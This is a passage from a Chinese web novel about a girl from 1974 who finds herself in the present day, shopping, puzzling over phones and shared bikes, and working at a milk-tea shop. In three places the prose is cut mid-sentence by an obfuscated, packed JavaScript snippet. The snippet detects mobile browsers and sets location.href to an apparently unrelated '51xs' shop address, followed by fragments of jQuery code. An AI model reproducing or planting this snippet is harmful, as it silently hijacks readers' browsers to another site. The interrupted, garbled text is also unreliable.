阿姨被这声“大姐”叫乐了，笑着说：“我都这岁数了，叫阿姨吧……好，那你先看看。” 赵小芸诧异：“您看着挺年轻的呀！” 阿姨笑开了花：“我都四十多岁啦，我闺女都上大学了。” 赵小芸一脸羡慕又赞叹地说：“大学啊！您闺女真厉害。” 阿姨摆手：“厉害啥啊，就一个普通二本。” 不过阿姨虽然嘴上这么说，脸上却是一副为女儿骄傲的样子。 两人说着，走去卖食用油的区域。 做促销活动的食用油与大米只隔了一个货架，同样放在仓储笼里，装满了一大笼子。 清澈橙黄如黄金一样的食用油装在塑料桶里，一桶足足有五升。 外包装上画着一朵灿烂的向日葵，写着“精选葵花籽油”等字样。 阿姨说道：“就是这款一级压榨葵花籽油，五升大规格，原价八十多块钱，现在只要六十八元，活动这周就结束了，来一桶吧！” 赵小芸震惊地盯着桶外包装上的葵花，好一会儿才反应过来，难以置信地问道：“阿姨，这个葵花籽油，意思是用葵花籽榨的油？就是那个葵花……长成大盘子结瓜子的那个葵花？” 11. 劝说 阿姨点头：“对，就是那个葵花。” 见赵小芸这么一副吃惊样，说道：“没吃过葵花籽油吗？葵花籽油容易被吸收，含有人体必需的不饱和脂肪酸，好处很多咧。而且葵花籽油味道淡，没有油腥味儿，除了炒菜吃，还能做凉拌菜、烘焙蛋糕，味道特别好。” 赵小芸的惊讶丝毫没能减少，她只知道瓜子能吃，没想到竟然还能榨油？ 他们村里和野外地里，偶尔会长出野生向日葵，只要见到向日葵苗，赵小芸就会把它们移植回家。 等向日葵长大开花，结一大盘子瓜子，就能摘下来吃瓜子。 这是村里孩子们最稀罕最受欢迎的零嘴儿。 不过向日葵的瓜子盘容易生虫，鸟儿也喜欢啄着吃，一大盘瓜子成熟后，往往只剩下很少的一部分能吃。 有的甚至一整盘都被虫子啃噬，每次都让赵小芸心疼不已。 现在，赵小芸头一次知道，瓜子不仅能当零嘴儿，还能榨油！ 油是多贵的东西啊！ 赵小芸的眼睛往货架上瞥，上面还摆着许多其他食用油，大豆油、花生油、菜籽油这些，她都很熟悉，也是常吃的油。 但是那桶玉米油又是咋回事！ 除了瓜子，玉米都能榨油了？ 震惊过后，赵小芸心里一阵激动，村里每年种的玉米也不少，玉米可比花生菜籽亩产高。 可玉米怎么榨油？ 赵小芸意识到这个，激动哗啦又就落回去，甚至还有些沮丧。 “阿姨，我再看看其他油。” 赵小芸绕着卖食用油的货架转了一圈，看下来的确是大姐推荐的那桶葵花籽油划算。 这一桶油是六十八元。 一袋面粉十八块九，一袋大米二十五块九，米面合计四十四块八毛钱，自己手里现在总共一百元，根本不够再买一桶油。 赵小芸在心里算完账，说道：“阿姨，我今天带的钱不够，明天再来买油。” “好嘞！”阿姨没觉得赵小芸是在敷衍，她看着这个小姑娘就觉得她是个实诚孩子。 赵小芸现在还剩下五十五块零两毛，打算买一箱牛奶给妈补充营养。 就买超市入口做促销活动的牛奶，一箱四十九块九，手里还能剩下五块三毛钱，可以给夏生哥买件生日礼物。 至于其他要买的吃的用的，等干完奶茶店的工作后，空闲时间多了再来超市里好好逛逛。 这个超市挺大的，卖的东西也多，到时候她可以尽情挑选。 赵小芸推着购物车准备回去，刚走了没几步，突然又推着车掉了个头，回到导购阿姨面前。 她突然想起来，阿姨是这个未来世界的人，懂的肯定比自己多，可以跟她请教问问，孕妇吃什么补营养更好。 阿姨见赵小芸回来，疑惑道：“咋了小姑娘？” 赵小芸笑盈盈地凑上前：“阿姨，我想跟您请教个事儿……就是，您知道孕妇吃啥补营养最好吗？” 阿姨愣住反应了一下，没想到赵小芸突然问这个，不过现在也没其他客人过来买米面粮油，就说道：“没什么特定食物，孕妇最好吃的营养均衡一些，鸡鸭猪肉鱼肉鸡蛋豆类等等，补充足够的蛋白质，还有新鲜蔬菜水果，奶制品等等。 “对了，孕妇还需要保持良好的心情，这是很重要的一点。” 赵小芸用心记下：“谢谢阿姨。” “不用客气。”阿姨看着赵小芸的穿着打扮，猜到她家里应该不富裕，犹豫了一下又提醒道，“是你家里人怀孕了？跟你家长辈多说说，在家里条件允许的前提下，让孕妇多吃点儿好的，不然大人或者孩子万一有个好歹，到时候后悔就来不及了。” 赵小芸点头：“是我妈怀孕了，我都记下了。阿姨，真的太谢谢您了。” “你、你妈怀孕了？”阿姨呆住，忍不住上下打量了一遍赵小芸，“你都这么大了，你妈还要再给你生个弟弟或妹妹？到时候该不会还要你照顾吧？” 赵小芸不明白阿姨为什么这么问：“我是姐姐，照顾弟弟妹妹是应该的。” 阿姨一脸无语，语重心长道：“闺女，不是这个理儿！再说了，虽说现在三胎都放开了，但也不是说生的越多越好，现在养孩子花销多大啊！ “哦，行，就算穷养也能养活，但家里负担肯定会变重，你爸妈又不是没孩子。 “况且你都已经这么大了，到时候还要你照顾一个婴儿，认识的知道你是当姐姐的，不认识的怕不是要误会你是当妈的。 “再说了，我看你这年龄还在上学吧？你爸妈也太欠考虑了，对你太不公平。 “最重要的是，高龄产妇是很危险的！别看现在医疗发达了，但生孩子从来都不是小事儿！” 赵小芸的心猛地一揪，高龄产妇很危险？她突然想到了那张缺了妈妈的全家福照片。 阿姨一脸怀疑地看着赵小芸，皱起眉，下意识压低了声音问道：“你妈……或者说你家里人，是不是重男轻女非要生个男孩？现在都什么年代了，还搞传宗接代那一套。 “小姑娘，你可别嫌阿姨说话难听，也别嫌阿姨多管闲事，你听阿姨的，回去劝劝你妈，多对自己好点儿，这胎能不要就不要。 “记住了，劝你妈时避着点儿你爸跟你家里其他人。” 赵小芸恍惚中点了点头，推着购物车走了，连给自己爸澄清名声都没顾上。 走到超市入口牛奶促销处，赵小芸看了看牛奶，还是提了一箱放进购物车里。 不管妈要不要这胎，总归是怀孕了，身体必须补充营养。 赵小芸推着购物车走到入口挡板前，这次挡板没有自动打开。 怎么没开？ 对了，还没付钱，赵小芸反应过来。 她茫然站在原地，该去哪里付钱？ 赵小芸找其他销售员问到结账的地方，去收银台付钱离开。 本来准备把购物车还到存放处，但她看见有人推着车直接上电梯，迟疑了下，也跟着对方学。 自己对这里的规矩什么都不懂，还是跟着别人做才不会出错。 赵小芸也推着购物车上了电梯，本以为车会顺着坡度往下滑，双手用力推 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283925|151978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着购物车。 谁知道车轮竟然纹丝不动，赵小芸诧异地一点点减轻了力道，最后甚至双手松开，购物车也没往下滑动。 赵小芸研究着购物车：“好神奇，这个购物车真好用，真方便！” 从电梯上来回到一楼，从超市里出来，赵小芸见别人把购物车停放在超市门前的空地上，有工作人员过去收走，也连忙过去把自己推的车放这里。 赵小芸把米面拿出来扛在肩上，牛奶提在手里，原路返回。 也不知道现在几点了，担心上班迟到，赵小芸不打算再回家，准备直接去奶茶店里，米面和牛奶暂时先存放在店里的仓库里。 …… 赵小芸一个瘦瘦弱弱的女孩子，扛着一袋大米和一袋面粉，手里还提着一箱牛奶，走在路上格外引人注意。 天气有些热，赵小芸还穿着粗布长袖，额头上冒了一脑门汗，后背的衣服也湿了一片。 赵小芸把东西放在地上喘了口气，擦擦头上的汗，重新扛起大米白面，提着牛奶继续往前走。 “赵小芸？”一道惊讶的声音从后方传来，随即一辆电动车从后面冲过来，猛地刹车停在赵小芸身边，“真的是你！我刚才远远瞧着就像你，但见你扛着东西，还以为认错了，没想到就是你。” 赵小芸扭过头，冲对方笑了下打招呼：“齐宏同志，真巧。” “直接叫我名字就行。”齐宏突然听到自己被喊同志，忍不住笑了起来。 他看着赵小芸肩膀上扛的米面，还有手里提着的牛奶，知道赵小芸是什么情况，没说什么“拿这么重的东西怎么不打车”这种何不食肉糜的话，直接指着自己电动车前面的脚踏板说道：“放上来，我捎你一段。” “齐宏，谢谢你啊，我请你喝奶茶。”赵小芸也没跟齐宏客套，大大方方地把米面和牛奶放上去，她的确有些累了，况且等会儿还得上班，要保存体力，不能影响工作。 “不用客气。”齐宏不怎么喜欢喝奶茶，觉得那玩意儿太甜了，店里打工每天免费赠送两杯奶茶，他选择更便宜的柠檬水都不会去喝奶茶。 不过他没说自己不喜欢喝奶茶，担心小姑娘敏感多想，或者破费请他吃其他东西，他不缺一顿美食，但赵小芸缺钱。 齐宏指了指自己车后座：“赵小芸，你也坐上来吧！” 赵小芸看着车后座和齐宏的距离，迟疑了下。 齐宏以为赵小芸不好意思再麻烦自己，就说道：“快三点了，你要是走路，上班可能会迟到。” 赵小芸一听迟到立马紧张起来，赶忙坐上后座，看着齐宏近在咫尺的后背，上身下意识往后仰，她从来没有和男同志挨的这么近，两只手都不知道该往哪里放。 齐宏没觉察到赵小芸的窘迫，只是问道：“坐稳了吗？你抓紧车座，我要走咯？” 赵小芸扶住车座，小心地不碰到齐宏：“我坐稳了，走吧！” 齐宏拧动车把，电动车蹭地猛往前一蹿。 赵小芸不防备，上身一下子后倒，双手脱离车座悬空，吓了一大跳，下意识抓住齐宏的衣服。 12. 共享单车 齐宏有些不好意思：“赵小芸，你没事吧？我这辆电动车有一点点毛病，忘了跟你说让你防备了。” “我没事。”赵小芸的确吓了一跳，不过很快就平复下来，反而是抓了一下齐宏的衣服，虽然很快松开，但还是让她有些不好意思。 齐宏穿的圆领短袖，赵小芸扯的这一下力道大，把他的领子都扯大了。 赵小芸偷瞄了一眼，正好看见齐宏把衣领从肩膀往回提，顿时更尴尬了。 电动车发出嗡嗡的声音，跑得飞快。 两人之间安静极了，气氛莫名有些尴尬，齐宏找话闲聊缓解这种尴尬：“你是去逛超市了？” 赵小芸点点头，马上反应过来对方后背没长眼睛，看不见自己的动作，又“嗯”了一声回应。 谈话结束，两人之间又安静沉默下来。 赵小芸也不知道要说什么好，索性就不说了，低头研究电动车。 不用脚蹬自己就会跑的车，还比自行车跑的快多了，坐着也比自行车舒服，真好！ 赵小芸忍不住问道：“齐宏，你这辆车贵吗？多少钱？” “这辆电动车是我买的二手车，五百块钱，如果是全新的电动车，一般在两三千左右。”齐宏想了想，又补充道，“那种比较小的电动车，好像也有一千多的。” 赵小芸咂舌，这么贵！她可买不起！ 原来这种自己跑的叫电动车，用电的吗？ 祖国未来可真厉害，都制造出用电跑的车了。 赵小芸又问道：“自行车呢？最便宜的多少钱？” “大概……二百左右？”齐宏不太确定地说道，他对自行车没需求，没关注过自行车的价格。 这年头买自行车的人少，一般都骑电动车，况且还有公共自行车，不管去到哪里，出行都十分方便，没必要买自行车。 赵小芸惊讶，自行车这么便宜！ 她倒不是真的觉得这个价格便宜，只是相对自己家那边来说算是很便宜了。 就说堂哥赵大满那辆自行车，一百五十块钱，外加一张自行车票，如果不是自己爸在部队有津贴，全家几年也攒不下一百五十块钱。 可现在她在奶茶店打工，两天的工资就能买一辆自行车，还不要自行车票，这差距简直是天地的距离。 “赵小芸，你要买自行车吗？等会儿到店里我上网给你查查价格。”聊天只要起个话头，气氛就没那么尴尬了，齐宏说话比刚才轻松自在不少。 “其实我觉得买个二手自行车更好，二手的更便宜。”齐宏知道赵小芸经济条件不好，应该更愿意买便宜二手的。 有些二手自行车也是很不错的，甚至有八.九成新的，就因为是二手，价格都能比新的便宜一半。 赵小芸不知道上网是上啥网，她只知道撒网捕鱼的网，但用脚趾头想想也知道齐宏说的肯定不是渔网，怕闹笑话就没乱问。 她更关心自行车：“我是挺想买一辆自行车的，不过我现在手里钱不够，想攒攒再买，你知道哪里有卖二手自行车的路子吗？” 家里有辆自行车出行会方便很多，这次堂哥赵大满来接她和妈这事儿，可把她恶心坏了。再说了，等爸的工作落实下来，骑车去上班会轻松很多。 齐宏说：“闲鱼上就有卖二手自行车的，待会儿我把我的手机借给你看看。” 赵小芸傻愣住：“咸鱼？” 咸鱼不是吃的吗？ “对，就是一款闲置物品交易平台的APP，在上面买二手东西方便又划算，我就经常在上面淘东西。”齐宏语气说的挺自豪。 赵小芸：“……” 诶……屁屁？这个解释她也听不懂，不过不打紧，等会儿自己亲眼瞧瞧就知道了。 未来世界里稀奇古怪的东西还真是不少。 前方是红绿灯，齐宏停下车等红灯，眼角余光瞥见路边停放的共享单车，黄色蓝色绿色的单车摆了一长排。 齐宏又说道：“可惜你没手机，要是有手机的话不买自行车也行，可以骑共享单车。新用户会送优惠券，你可以开一张月卡，优惠减免下来一张月卡也就两三块钱，一个月内随便骑。” 赵小芸疑惑：“共享单车是什么？” 齐宏指了指路边一排各色的自行车：“喏，那就是共享单车，只要花钱谁都能骑。” “那不就是大家公用的？”赵小芸震惊，她早就见过路边的这些自行车，好几种颜色都有，漂亮的不行，当时她还奇怪，怎么有人把这么多自行车停放在路边，不怕丢了吗？没想到竟然是公用的。 赵小芸有些恍惚，有些不敢置信：“自行车竟然还有公用的？” 自家1974年那边，自行车可是宝贝，谁家要是有一辆自行车都会被羡慕的不行，没想到这里竟然这么多自行车，都能公用随便骑了，这差距也太大了。 路口的红灯变绿，齐宏提醒了一句“走了”，赵小芸连忙抓紧车座。 过了红绿灯后，齐宏接着说道：“共享单车施行好几年了，刚出来那会儿大家都特别新鲜，很多人出门专门骑自行车。 “不过当初也出了不少事儿，共享单车最初骑车是要交押金的，有些公司破产，卷走了好些人的押金。” “还有，那会儿因为共享单车的出现，导致出租、开三轮黑车的业务受影响，有些人心生怨怼，就故意弄坏共享单车让别人骑不成，或者专门扛到禁停区，乱停乱放导致被管理部门拖走。 “也有几家共享单车公司为了打击竞争对手，故意划破对家自行车的车座，弄坏刹车什么的，各种被破坏被拖走的车都能堆成山了，反正挺乱的。 “经过几年后，各种规则法律陆续完善，才抑制这种乱象。现在再骑共享单车，几乎没有以前那种麻烦和问题了。” 赵小芸听到被破坏的自行车堆成山，虽然不是自己家的自行车，还是心疼到无法呼吸。 这些人也太浪费了！ 这么多的资源，都是属于国家和人民的，如果这些被破坏的自行车给到1974年，将会给国家和人民带来多么大的便利啊！ 不往那些大的方面说，那么多破坏浪费的自行车，要是能给她一辆多好啊！ …… 到达奶茶店附近后，赵小芸从车上下来，齐宏把车停在路边非机动车停放区。 齐宏提起脚踏板上的一箱牛奶给赵小芸，一袋大米和一袋面粉自己帮她扛起来：“走吧！” 赵小芸已经坐了齐宏的电动车，哪里好意思再让他帮自己扛东西，连忙上前要拿过米面：“谢谢，我来拿就行。” “没事儿，我力气大，走吧！”齐宏大步往店里走，赵小芸只能跟上，心里对他感激的不行。 进入奶茶店里， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283926|151978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵小芸看见店长，连忙打招呼，又问道：“店长，我买了些东西，可以先存放到店里的仓库里吗？晚上下班我就带走。” “可以，随便放。”店长看着两人，面带笑说道，“你们俩都来的挺早啊，距离上班还有二十多分钟呢。” 赵小芸疑惑地啊了一声，明明之前齐宏说上班快迟到了，怎么会还有二十多分钟？ 很快赵小芸就想明白了，如果齐宏不说上班快迟到，自己就会走路过来，不好意思搭他的车。 赵小芸看了一眼前面扛着米面走进仓库的齐宏，觉得这位男同志细心又体贴，对他感激更甚。 店长见赵小芸提着牛奶，头上还有汗，说道：“趁着还没到上班时间，你赶紧坐那儿歇歇。” 赵小芸点点头，提着牛奶进入仓库。 仓库里多了一把折叠椅，赵小芸和齐宏一人坐一把。 齐宏把自己的手机从裤兜里掏出来，解锁屏幕，找到闲鱼APP打开，搜到交易二手自行车的信息后给赵小芸，还指导她怎么看：“这上面都是别人发布的交易信息，点进去能看到更详细的物品介绍，点一下上面这个就能返回页面……下面还有很多，你用手指往下滑动就能看到。” 赵小芸双手接过手机，小心翼翼地拿着，心中惊叹：原来这就是手机啊！ 之前见别人拿着拍照，她还以为是照相机，原来叫手机。 赵小芸认真地盯着手机屏幕上的信息，交易信息有图有价格，一目了然，而且这图片还是彩色的呢。 这个手机也太神奇了！ 不仅能拍照，还能在上面发布交易让别人看到，真是太不可思议了。 这种巴掌大一个的方块手机，赵小芸在街上几乎看见人手一台，难道手机很便宜？ 想到赵小芸就直接问了：“齐宏，手机多少钱一个？” “一般的一两千、两三千，好的手机七八千、上万的都有。”齐宏看着赵小芸震惊瞪得圆溜溜的眼睛，想了想，又说道，“还有内存比较小的，一般是娱乐需求比较少的老年人用，大概几百块钱吧，虽然下载不了多少娱乐软件，但是打电话、发短信，微信□□聊天视频这些基础功能使用都是没问题的。” 赵小芸脑子里一震：“打电话？你是说手机能……能打电话？” “手机当然能打电话。”齐宏怀疑地打量赵小芸，国家电力基建不是已经铺展到每家每户了？就算是从山旮旯里走出来的人，也不该不知道手机吧？ 这得是多偏远的地区才连手机能打电话都不知道？ 赵小芸对上齐宏探究怀疑的打量眼神，强自镇定地说道：“我以前只用过公共电话。” “哦。”齐宏点点头，只当赵小芸的家确实偏远的过分，毕竟世上存在着他想象不出的穷困地区，可能那里就是没有了解手机电脑这些高科技产品的渠道。 赵小芸表面看着镇定，实际上心里的惊涛骇浪还没落下去，这个手机，它能打电话！ 几乎人人都有手机，人人都能互相打电话吗？ 那么多电话线怎么架设？ 还有，不会串号吗？ 赵小芸满肚子疑惑，可惜不能问。 齐宏看不出摆着一张严肃认真脸的赵小芸此刻心里正在翻江倒海，还在旁边风轻云淡地建议道：“赵小芸，我建议你先别买自行车了，买一部手机吧！” 13. 蛋糕好贵 赵小芸猝不及防被自己的口水呛住，让她买一部手机？ 她整个村里都没有一部公用电话，别说村里了，就是整个县城，也没几台电话，现在让她买一部手机是啥概念？ 等于说是自己一个人拥有一台公用电话！ 齐宏没和赵小芸开玩笑，十分认真地和她分析：“这几天的工资足够你买一部手机，等奶茶店的工作结束，之后你再找工作，就能在手机招聘软件上查看招聘信息，不仅方便，更重要的是高效。 “再说了，等你找到工作，工作中肯定是要用到手机交流的，现代社会没手机真的算是寸步难行。” “另外，我建议你尽快办理一张身份.证，现在就是找临时工的工作都得要身份.证……”齐宏朝门口外面看了一眼，压低声音说道，“店长是因为急需有人立刻上岗，同时也是她好心才没计较你没身份.证，要是换一个老板，肯定不会招你。” 赵小芸为难极了，手机还好说，等她解决了家里的燃眉之急，以后再赚一些钱就能买手机，但身份.证可不好办。 “我没有户口能办身份.证吗？” 齐宏摇头：“我不知道，你可以去派出所问问，看看你这种情况要怎么办，派出所肯定能给出方案。” 去派出所啊！ 赵小芸心里有些发憷，毕竟她在这个世界可是“黑户”，万一把她怀疑成敌特分子怎么办？会不会把她抓起来？ “谢谢你齐宏，我……等我有时间我会去派出所问问的。” 齐宏瞄了一眼手机上的时间，快到上班时间了，问道：“自行车看的怎么样了？有看上的吗？没看上的也没关系，下次我再借给你手机继续找找。” “我下次再找找看吧，麻烦你了。”自行车现在不急用，赵小芸想再找找有没有更便宜的，家里要用钱的地方还很多，她现在奶茶店的工作就只剩下四天，干完后不知道还能不能再找到其他工作，钱不能浪费一毛一分。 赵小芸把手机还给齐宏，心里还惦记着要送给方夏生的生日礼物，就问道：“我一个朋友生日，我想送给他生日礼物，你知道附近哪里有卖礼物的吗？” “生日礼物吗？你朋友是男的女的？” “是……男的。”赵小芸脸有些红，怕被齐宏误会男女关系，急忙解释道，“是我的一个邻居，我们从小认识。” 齐宏倒是没多想，问性别只是因为送男女的礼物有差别，毕竟在现代交异性朋友完全没什么特别的。 “你的预算多少钱？” 赵小芸下意识摸了摸兜：“五块零三毛。” “……” 齐宏哭笑不得，想了又想，最后放弃脑海里的所有想法：“我建议你给他买一块蛋糕就挺好的，正好咱们这条街上就有一家卖蛋糕的，你可以去店里挑一个小的，既然他是你朋友，我觉得他不会嫌弃。” 要是嫌弃，就不是真朋友，真朋友不会不知道赵小芸的难处。 不过蛋糕店里最便宜的切块蛋糕，也要十几块钱吧？五块钱大概能买到……一个蛋挞？ 齐宏看着赵小芸真诚地说道：“要不我先借给你一百块钱？” “不用不用，五块钱足够了。”赵小芸被齐宏的大方吓了一跳，有谁借钱开口就是一百块啊！ 齐宏欲言又止，还想再说些什么，店长这时候突然进来，提醒他们上班时间到了。 话题暂时结束，两人赶紧站起来换上玩偶服出去工作。 赵小芸干够一个小时后，趁着休息时间，去蛋糕店里选购蛋糕送给方夏生。 蛋糕店也在这条街上，距离奶茶店大概也就一百米。 赵小芸走到蛋糕店门口，还没进去，就闻见了一股格外香甜的味道。 “好香啊！”赵小芸没见过蛋糕，更没吃过，此刻闻着这么香甜的味道，对蛋糕充满了期待。 等爸妈和玲玲小宇到生日的时候，也给他们买蛋糕吃吧！ 赵小芸进入蛋糕店里，混和了奶油与烤熟的麦香香甜味道更加浓郁。 透明纤尘不染的玻璃柜里，摆放着各种各样的蛋糕、面包以及其他甜品。 门口的柜子里就是生日蛋糕，赵小芸看见蛋糕上面写着的“生日蛋糕”四个字，立马被吸引过来。 赵小芸看着生日蛋糕上面栩栩如生的裱花，张嘴发出无声的惊叹：“哇！好漂亮，像真的花一样。” “咦？这是水果吗？好红啊！好多籽！” “葡萄！”赵小芸惊呆，现在怎么可能会有葡萄？葡萄还没成熟呢！ “是假葡萄吧？” 三层柜子里摆满了蛋糕，赵小芸看得眼花缭乱，冷不丁注意到蛋糕前面的小牌牌，仔细看了看，才明白上面的数字是蛋糕的价格。 “嘶——”赵小芸倒抽一口冷气，一个生日蛋糕竟然二百多块钱！ 赵小芸瞄向旁边的一个，这个竟然三百多！ 整个柜子里的蛋糕看下来，二百多竟然是最便宜的。 赵小芸嘴角抽抽，转身离开生日蛋糕柜。 迅速在蛋糕店里转了一圈，赵小芸就没看见便宜的东西，果断从店里离开。 出了蛋糕店的门，赵小芸喃喃道：“怪不得齐宏说要借给我一百块钱。” 不过就算齐宏愿意借钱给她，她也舍不得花这么多钱买一个劳什子生日蛋糕啊！ 那个还没巴掌大的小三角蛋糕，都卖二十多块钱，当是金子做的吗？ 刚才她看见店里竟然挺多人买蛋糕的，有的人一下子拿好几块，真是把钱当纸钱花啊！ 赵小芸摇头，不过随即又笑了起来，未来世界的人花钱虽然凶，但是人们愿意花这么多钱买蛋糕，只为了满足口腹之欲，也正说明国家物资丰富，人民富裕起来了。 蛋糕是不可能买了，赵小芸看向蛋糕店隔壁。 隔壁是一家卖鸡蛋糕的。 赵小芸走进鸡蛋糕店，买了五块钱的鸡蛋糕。 从鸡蛋糕店里出来，赵小芸欲哭无泪，老板说这是什么无水蜂蜜鸡蛋糕，十五块钱一斤，五块钱就买了三块！ 虽然鸡蛋糕的确很香，可是也太贵了！ 赵小芸拉长一张苦巴巴的脸，提着三块鸡蛋糕，外加两块老板当添头的蜜三刀，回到了奶茶店里， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283927|151978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 休息够时间后就继续工作去了。 …… 奶茶店里五点到九点正是客流量高峰期，赵小芸和齐宏没有多余吃晚饭时间，都是趁着自己休息时间匆忙吃完饭，然后继续工作。 晚饭是快餐盒饭，有红烧肉、西红柿炒鸡蛋，还有酸辣土豆丝，主食是米饭。 赵小芸吃饭特别香，店长在旁边笑着说：“看你吃饭我感觉我都能多吃半碗。” 赵小芸看向店长的餐盒，店长吃的是麻辣烫：“店长，你就吃这么几片菜叶子能吃饱吗？” “能啊！就这我还吃不完呢，要不是为了凑够外卖起送价，我不会点这么多。”店长轻轻叹了口气。 新店刚开，她压力挺大的，加上天热，最近有些食欲不振，什么都吃不下。 店长看向赵小芸，她的餐盒里已经吃得干干净净，连一粒米都没留下：“小芸，你吃饱了吗？” 赵小芸刚咽下最后一口红烧肉，意犹未尽。 店长看着自己的饭犹豫了一下，说道：“你要是没吃饱，不嫌弃的话我的麻辣烫可以分你点儿，不过我已经……” “不嫌弃不嫌弃！”吃饭的事儿怎么可能会嫌弃！赵小芸眼睛发亮地看着店长，她的确没吃饱，平日里她也是干农活儿的，别看人瘦小，饭量可不小。 这快餐盒饭小小一盒，虽说油水大，但也是真的没吃饱。 店长看着赵小芸笑容灿烂天真无邪的样子，紧绷的神经难得松了松，眉头的皱纹都舒展开了，语气也比刚才轻松，说完被打断的后半句话：“我已经吃了几口，你要是不介意的话我分你一些。” 赵小芸猛摇头：“不介意，这么香的饭我要是介意那不是大傻子吗？” 店长噗嗤一笑，给赵小芸夹了几个肉丸子、蟹肉.棒，还有一些素菜。 赵小芸没吃过麻辣烫，头一次吃味道这么重的，斯哈斯哈吐舌头。 虽然被辣住了，但又越吃越香。 店长看得失笑，把自己泡的玫瑰花茶给赵小芸倒了一杯：“喝点儿茶解解辣。” 赵小芸端起一次性奶茶杯子喝了一大口花茶：“好喝！又香又甜！” “我加了一点点蜂蜜。”店长说，“你要是喜欢玫瑰花茶，我那里还有很多，送你一包。” 赵小芸第一反应是：“贵吗？”说完才反应过来，尴尬地笑了下，“店长我不要，我平时就喝白开水。” 店长直接拿了一包给赵小芸：“拿着喝吧，玫瑰花茶调理血气美容养颜，好处很多，你们小姑娘喝了对身体好……另外我瞧着你气血有些不足，平时最好买点儿红枣枸杞煮水喝。” 赵小芸吃完麻辣烫，休息时间也要到了，就没和店长再让来让去，收了花茶道谢：“谢谢店长！我一定努力工作！” 说完，干劲儿满满地上班去了。 晚上十一点下班，今天工作八个小时，工资一百六十块钱。 赵小芸拿着热乎乎的工资，笑得见牙不见眼。 从仓库里扛出在超市里买的米面和牛奶，手腕上还挂着两杯奶茶和下午买的鸡蛋糕，赵小芸脚下发飘地准备回家。 14. 夏生哥 “赵小芸！”齐宏在路边刚把电动车从停车位推出来，朝着赵小芸喊了一声，“你住哪儿？我送你回去。” 赵小芸下意识摆手：“不用不用，我住的地方没多远，我自己走回去就行。” “这么晚了你一个女孩子走夜路不安全，况且你还拿着这么多这么重的东西……上车吧，我送你。” 齐宏见赵小芸一脸犹豫地站着没动，放下电动车的支架，过去把她肩膀上扛着的米面拿过来，放到脚踏板上，回过头冲着她朝后车座一指：“走吧！” 赵小芸不好意思地笑了下，走过来感激地说道：“那就麻烦你了，谢谢你齐宏。” 齐宏把赵小芸手里提着的一箱牛奶也拿过来放到前面：“都是同事，不客气。” 赵小芸坐到电动车后座上，给齐宏指路，电动车启动，在夜深人静的路上飞驰而过。 今天店长有急事提前走了，临走前，她对赵小芸说今天不能送她，让她打车回去，车费可以报销。 对店长来说，几块钱的打车费不算什么，但赵小芸不想多花这个钱。 因为她很清楚，是因为店长善良、同情她才想帮帮她，但她不能理所当然地消费店长对自己的善心。 本打算步行回去，没想到齐宏会主动说要送她。 赵小芸看看前面的齐宏，又看看挂在手腕上的两杯奶茶。 说好了要请齐宏喝奶茶答谢的，但后来他又拒绝了，说他自己本来每天也有两杯免费的，多了喝不完，改口说以后有机会请他吃顿饭。 赵小芸欣然同意。 电动车很快就到了巷子路口，赵小芸说道：“就是这里了，只剩几步路，我自己走回去……很晚了，你也赶紧回家吧！” 齐宏停车，看着黑乎乎的巷子，从裤兜里摸出一个袖珍手电筒，拇指按着手电筒底部，咔哒一声按亮，递给赵小芸：“先借你用，明天再还我。” 赵小芸的眼睛映着手电筒的光，晶亮晶亮的，接过袖珍手电筒说道：“谢谢！” 从脚踏板上扛走米面和牛奶，赵小芸用手电筒照亮前路，和齐宏说了声明天见。 齐宏见赵小芸走进巷子里后，骑着电动车掉头离开。 巷子里，赵小芸拿的东西多，走得并不快。 黑漆漆的巷子被手电筒照亮，多出几分让人安心的感觉。 “齐宏真是个好人。”赵小芸轻声感叹。 自己真的很幸运，遇到的店长和齐宏都是好人。 还有刚来到这里时，拉住她提醒她闯红灯的可爱小女孩儿，以及教她红绿灯规则的小女孩儿的妈妈，给她指路的路人……这里真的很好。 …… 赵小芸穿过门回家，提前把手电筒关了，担心万一有人大晚上起夜看见亮光注意到这边。 小小的手电筒精致小巧，能完全握在掌心里，赵小芸觉得这手电筒特别可爱。 “未来竟然连手电筒都大变样了。”如果不是亲眼所见，她绝对认不出这是手电筒。 穿过菜地回到前院，赵小芸推了下屋门，里面没有插门栓，被她轻轻一推，门直接就开了。 赵小芸轻手轻脚地进屋。 堂屋还睡着赵晨宇和赵晨玲，怕吵醒俩人，她的动作特别小心。 “小芸回来了？” 黑暗里冷不丁响起声音，吓了赵小芸一大跳，看着模糊的人影疑问：“爸，妈？这么晚了你们怎么还没睡？” “你没回来，我跟你爸睡不踏实。”陈翠芳说道。 刚才陈翠芳和赵卫国一听见赵小芸推门的动静，立马就翻身从床上下来。 